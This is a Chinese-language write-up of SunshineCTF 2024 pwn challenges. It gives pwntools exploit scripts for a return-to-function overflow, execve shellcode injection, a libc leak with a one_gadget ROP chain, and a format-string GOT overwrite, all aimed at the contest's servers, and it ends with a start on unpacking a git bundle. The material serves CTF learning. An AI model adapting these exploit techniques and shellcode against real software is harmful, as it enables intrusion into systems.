SunshineCTF 2024 WriteUp

team: ICEDTEA
rk. 31/642

2024.sunshinectf.org_user
只會打Pwn水題的我

這場我是準備特選期間抽空打的,本來想把 I-95(簡單的pwn) 都解出,不過時間不太夠有點可惜

I-95

Cape Canaveral

image

image
image
就普通的 return to func
canaveral.py

1
2
3
4
5
6
7
8
9
from pwn import *

r = remote("2024.sunshinectf.games", 24602)

r.recvuntil(b': ')
exp = b'a'*0x70 + b'a'*8 + p64(0x4011BE)
r.sendline(exp)

r.interactive()

image

Palm Beach

image

image
image
v1就是gets()輸入的buffer
return to shellcode
palmbeach.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r = remote("2024.sunshinectf.games", 24603)

buf_adr = int(r.recvline().split(b': ')[1].strip().decode(), 16)
print(hex(buf_adr))
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
exp = shellcode + b'a'*(0xA0-23+8) + p64(buf_adr)

raw_input(">")
r.sendline(exp)

r.interactive()

image

Fort Pierce

image
image
先判斷輸入的特定位置是否符合條件,如果一直符合條件,最後會將輸入的offset 0x70 先xor 8 後當作位址去call
image
讓他最後call到get_flag()
image
fortpierce.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

r = remote("2024.sunshinectf.games", 24606)

exp = bytearray(b"0" * 0x70)
exp[0x0] = ord("f")
exp[0x32] = ord("u")
exp[0x58] = ord("z")
exp[0xc] = ord("z")
exp[0x9] = ord("y")
exp[0x4f] = ord("s")
exp[0x2f] = ord("o")
exp[0x28] = ord("c")
exp[0x5a] = ord("k")
exp[0x20] = ord("s")
exp += p64(0x401256)

raw_input(">")
r.sendlineafter(b": ", exp)

r.interactive()

image

Jacksonville

dynamically linked,有給libc.so.6
image
image
image
將uint當作位址,輸出uint指向的東西,用整數long十六進至輸出
輸入puts@GOT,leak出puts在libc的位址,以取得libc base addr
image
image
atoi只吃十進制int字串
0x404000=>4210688
image
return to gadget

1
2
3
4
5
0xeb60e execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

vmmap找 rbp-0x48 writable
螢幕擷取畫面 2024-10-21 011850
為了rbx == NULL,先串 pop rbx ret的gadget
rbx == 0 相當於 rbx == NULL
r12已符合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

r = remote('2024.sunshinectf.games', 24608)

print(r.recvline())
r.sendline(b'0')
print(r.recvline())
r.sendline(b'4210688')
puts_addr = int(r.recvline().strip().decode(), 16)
puts_offset = 0x83630
libc_base = puts_addr - puts_offset
exc_addr = libc_base + 0xeb60e
print(hex(exc_addr))

r.recvline()
r.sendline(b'1')
r.recvline()
rbp = 0x404666
pop_rbx_ret = libc_base + 0x27f7b
exp = b'a'*(0x70) + p64(rbp) +p64(pop_rbx_ret) + p64(0) + p64(exc_addr)
raw_input(">")
r.sendline(exp)

r.interactive()

Jupiter

image
image
image
image
GOT hijack,在func0()用 format string 寫puts@GOT,回到main呼叫puts()就會呼叫到 win()
image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

r = remote('2024.sunshinectf.games', 24609)

r.sendlineafter(b'? ', b'0xdeadc0de')

# 0x004011F6 = 4198902
win_addr = 4198902
puts_got = 0x00403468 # puts@GOT
exp = b'%4198902c%8$lnaa' + p64(puts_got)
# %4198902c 輸出4198902個字元
# %n 將目前已輸出的字元數寫入到指定的記憶體位址
# %ln 寫入 8 bytes
# aa 填充,使puts_got從第八個記憶體位址(rsp+16)開始

raw_input(">")
r.sendlineafter(b'?? ', exp)

r.interactive()

Scripting

Guessy Programmer 0

image
Git bundle 是一種打包 Git repository 的文件,通常用於離線傳輸

1
2
3
4
mkdir guessy_repo
cd guessy_repo
git init
git bundle unbundle guessy_programmer_0